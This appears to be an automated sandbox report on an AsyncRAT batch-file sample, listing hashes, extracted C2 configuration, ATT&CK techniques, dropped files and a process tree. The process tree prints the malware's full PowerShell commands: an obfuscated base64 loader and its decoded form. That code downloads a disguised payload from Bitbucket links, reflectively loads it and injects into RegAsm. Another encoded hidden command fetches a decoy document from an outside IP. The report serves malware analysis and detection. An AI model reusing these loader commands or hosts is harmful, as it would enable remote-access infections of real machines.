asyncrat | bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838

Analysis

max time kernel
148s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 02:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat
Size

14KB
MD5

7d4fd0768b8cba2af39bf88ba789e27a
SHA1

31315e8bc69d8ff9d3764071b0c9def830dabf58
SHA256

bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838
SHA512

101971fafe90fa9e703bb4d62208f984fe3162044bf30b2ed16f5cd9dc16d2e9a9770fccd37cfee3796b4f222035418dc0ab79df1a99faeb385889341972c754
SSDEEP

192:7xM/+aHdczpj/j3TG996TG1lyXuMFtOxHlsTdEKxnH9ONGUe7FQGIAAApkF32GAI:7xa9e/zw96TG1uWxFtqHtF0YnMF

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

103.125.189.155:8848

Mutex

DcRatMutex_adxzvxv

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
9	3980	powershell.exe
15	3980	powershell.exe
23	3980	powershell.exe
25	3088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3376	powershell.exe
3980	powershell.exe
3088	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3980 set thread context of 1032	3980	powershell.exe	94

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4312	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3460	WINWORD.EXE
3460	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3088	powershell.exe
3088	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3404	WMIC.exe
Token: SeSecurityPrivilege	3404	WMIC.exe
Token: SeTakeOwnershipPrivilege	3404	WMIC.exe
Token: SeLoadDriverPrivilege	3404	WMIC.exe
Token: SeSystemProfilePrivilege	3404	WMIC.exe
Token: SeSystemtimePrivilege	3404	WMIC.exe
Token: SeProfSingleProcessPrivilege	3404	WMIC.exe
Token: SeIncBasePriorityPrivilege	3404	WMIC.exe
Token: SeCreatePagefilePrivilege	3404	WMIC.exe
Token: SeBackupPrivilege	3404	WMIC.exe
Token: SeRestorePrivilege	3404	WMIC.exe
Token: SeShutdownPrivilege	3404	WMIC.exe
Token: SeDebugPrivilege	3404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3404	WMIC.exe
Token: SeRemoteShutdownPrivilege	3404	WMIC.exe
Token: SeUndockPrivilege	3404	WMIC.exe
Token: SeManageVolumePrivilege	3404	WMIC.exe
Token: 33	3404	WMIC.exe
Token: 34	3404	WMIC.exe
Token: 35	3404	WMIC.exe
Token: 36	3404	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3404	WMIC.exe
Token: SeSecurityPrivilege	3404	WMIC.exe
Token: SeTakeOwnershipPrivilege	3404	WMIC.exe
Token: SeLoadDriverPrivilege	3404	WMIC.exe
Token: SeSystemProfilePrivilege	3404	WMIC.exe
Token: SeSystemtimePrivilege	3404	WMIC.exe
Token: SeProfSingleProcessPrivilege	3404	WMIC.exe
Token: SeIncBasePriorityPrivilege	3404	WMIC.exe
Token: SeCreatePagefilePrivilege	3404	WMIC.exe
Token: SeBackupPrivilege	3404	WMIC.exe
Token: SeRestorePrivilege	3404	WMIC.exe
Token: SeShutdownPrivilege	3404	WMIC.exe
Token: SeDebugPrivilege	3404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3404	WMIC.exe
Token: SeRemoteShutdownPrivilege	3404	WMIC.exe
Token: SeUndockPrivilege	3404	WMIC.exe
Token: SeManageVolumePrivilege	3404	WMIC.exe
Token: 33	3404	WMIC.exe
Token: 34	3404	WMIC.exe
Token: 35	3404	WMIC.exe
Token: 36	3404	WMIC.exe
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	1032	RegAsm.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3460	WINWORD.EXE
3460	WINWORD.EXE
3460	WINWORD.EXE
3460	WINWORD.EXE
3460	WINWORD.EXE
3460	WINWORD.EXE
3460	WINWORD.EXE

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3404	2180	cmd.exe	83
PID 2180 wrote to memory of 3404	2180	cmd.exe	83
PID 2180 wrote to memory of 2216	2180	cmd.exe	84
PID 2180 wrote to memory of 2216	2180	cmd.exe	84
PID 2180 wrote to memory of 3376	2180	cmd.exe	86
PID 2180 wrote to memory of 3376	2180	cmd.exe	86
PID 3376 wrote to memory of 3980	3376	powershell.exe	87
PID 3376 wrote to memory of 3980	3376	powershell.exe	87
PID 3980 wrote to memory of 4320	3980	powershell.exe	92
PID 3980 wrote to memory of 4320	3980	powershell.exe	92
PID 3980 wrote to memory of 4320	3980	powershell.exe	92
PID 3980 wrote to memory of 4740	3980	powershell.exe	93
PID 3980 wrote to memory of 4740	3980	powershell.exe	93
PID 3980 wrote to memory of 4740	3980	powershell.exe	93
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 3980 wrote to memory of 1032	3980	powershell.exe	94
PID 2180 wrote to memory of 3088	2180	cmd.exe	95
PID 2180 wrote to memory of 3088	2180	cmd.exe	95
PID 3088 wrote to memory of 3460	3088	powershell.exe	98
PID 3088 wrote to memory of 3460	3088	powershell.exe	98
PID 1032 wrote to memory of 5080	1032	RegAsm.exe	104
PID 1032 wrote to memory of 5080	1032	RegAsm.exe	104
PID 1032 wrote to memory of 5080	1032	RegAsm.exe	104
PID 5080 wrote to memory of 4312	5080	cmd.exe	106
PID 5080 wrote to memory of 4312	5080	cmd.exe	106
PID 5080 wrote to memory of 4312	5080	cmd.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3404
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:2216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#Z#By#DM#N#B3#Gc#Z#Bz#GY#ZwBz#C8#ZgBz#GQ#ZgBz#GQ#cw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##x#Dc#Jw#s#C##JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GQ#YQBy#Gs#bQBh#G4#YQBn#GU#cg#v#GQ#YQBy#Gs#bw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#Go#YQBm#GI#c#BT#Gs#Lw#y#DY#Lg#y#D##MQ#u#D##Mg#u#DM#M##x#C8#Lw#6#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hdr34wgdsfgs/fsdfsds/downloads/test_img.jpg?14417', 'https://bitbucket.org/darkmanager/darko/downloads/test_img.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.jafbpSk/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4320
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4740
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1032
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp48BC.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5080
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3088
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\donhang.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
367b1c81198bfdcdba813c2c336627a3

SHA1
37fe6414eafaaed4abb91c1aafde62c5b688b711

SHA256
1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

SHA512
e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD1D5C.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rd422o4e.3j2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp48BC.tmp.bat

Filesize
170B

MD5
a3e2d9e5918e8fbc00e656454f0b44d7

SHA1
6e9dcae899b1b8d9f6dd4c996f66a1d0052eb71a

SHA256
f557528b4bf5946b4db59dd8e457d7d8ff19fa7b29543134de81fae554ad13a6

SHA512
22f27a15e3b54a06a37ade85b1d6517e1c529364d5b9528f29bb61e89f642a8ff7ab061d216407b977c8f3ec8da06b3b6032c5268122c1969bbecb03cae1012d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
344B

MD5
97735e443ef8520b0ca5ac12ee80e2bc

SHA1
bcfc8e15dc1b5cdb7710e0a4b5cccbafba6c7fbe

SHA256
8a58bef809e41b0aeca09441fb6f82847522696b4c77b4ac31a52ae00151572b

SHA512
a949883b606606feabe7e5a20fe5815bf425fc3fd061b005cc730b2a5d188fa036038db337a0a31579a616dd88f0720bacab21f89a134bd89e25dc7225e54a8d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
60bce9f3fd065a5fdf51b14db326ec2e

SHA1
adbfa38f2dbb30e7a7a31c2aa6151caa8927331f

SHA256
9ba5a4fa4aa591a82b5074b2191ac5b1e5b46d1e247efbcf2f38f146d0938416

SHA512
bbf7b5d678dfe31b5f8a4bcffc79022241210496d1fccf57e94c0ca99185d5456db62e7c976f72aa2d5e505c672b141381a7427d30ce44930e282a262f8b3094

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
28983c8a6999c9f5c50a371ed29062a5

SHA1
33c144551627e652ee8d960c1a0d66b38d8be4ba

SHA256
cf2a228a95afd9ef2d0ebef9b9b8401997f00d005c8d25a732a9d29131a4f845

SHA512
da4e3f2cf2a320b684b9c90799c2ff633059168413c243de392e8188d7b08764b4cd0ed4b9c02d9ab5bc04c7463c24685b8265c0c6dd8490926a26e1e2495cb2

Download Submit
C:\Users\Admin\AppData\Roaming\donhang.docx

Filesize
12KB

MD5
ff3620557b65e6e8dd8816643d785c5a

SHA1
d5021480b7cac2066462829c53dc18615642c579

SHA256
85225d3c39423bbfc05e9d52351a9b00670fee3565457e5c3f75caac27ca4de9

SHA512
c2a842bfa4f3caf50d58d5707ca0ad978e04e5111fe20ad468282c216567d25da7022fb7ff2681cb72acc8add3cbcf37000b6bde06ad252758f6ff06c9fb3d34

Download Submit
memory/1032-222-0x0000000006EA0000-0x0000000006F16000-memory.dmp

Filesize
472KB

Download
memory/1032-89-0x0000000005DB0000-0x0000000005E16000-memory.dmp

Filesize
408KB

Download
memory/1032-88-0x00000000062F0000-0x0000000006894000-memory.dmp

Filesize
5.6MB

Download
memory/1032-87-0x0000000005CA0000-0x0000000005D3C000-memory.dmp

Filesize
624KB

Download
memory/1032-223-0x0000000006E20000-0x0000000006E84000-memory.dmp

Filesize
400KB

Download
memory/1032-31-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1032-224-0x0000000006F20000-0x0000000006F3E000-memory.dmp

Filesize
120KB

Download
memory/3376-26-0x00007FF989860000-0x00007FF98A321000-memory.dmp

Filesize
10.8MB

Download
memory/3376-6-0x000001A42D480000-0x000001A42D4A2000-memory.dmp

Filesize
136KB

Download
memory/3376-38-0x00007FF989860000-0x00007FF98A321000-memory.dmp

Filesize
10.8MB

Download
memory/3376-25-0x00007FF989863000-0x00007FF989865000-memory.dmp

Filesize
8KB

Download
memory/3376-0-0x00007FF989863000-0x00007FF989865000-memory.dmp

Filesize
8KB

Download
memory/3376-12-0x00007FF989860000-0x00007FF98A321000-memory.dmp

Filesize
10.8MB

Download
memory/3376-11-0x00007FF989860000-0x00007FF98A321000-memory.dmp

Filesize
10.8MB

Download
memory/3460-58-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/3460-61-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/3460-62-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/3460-60-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/3460-59-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/3460-57-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
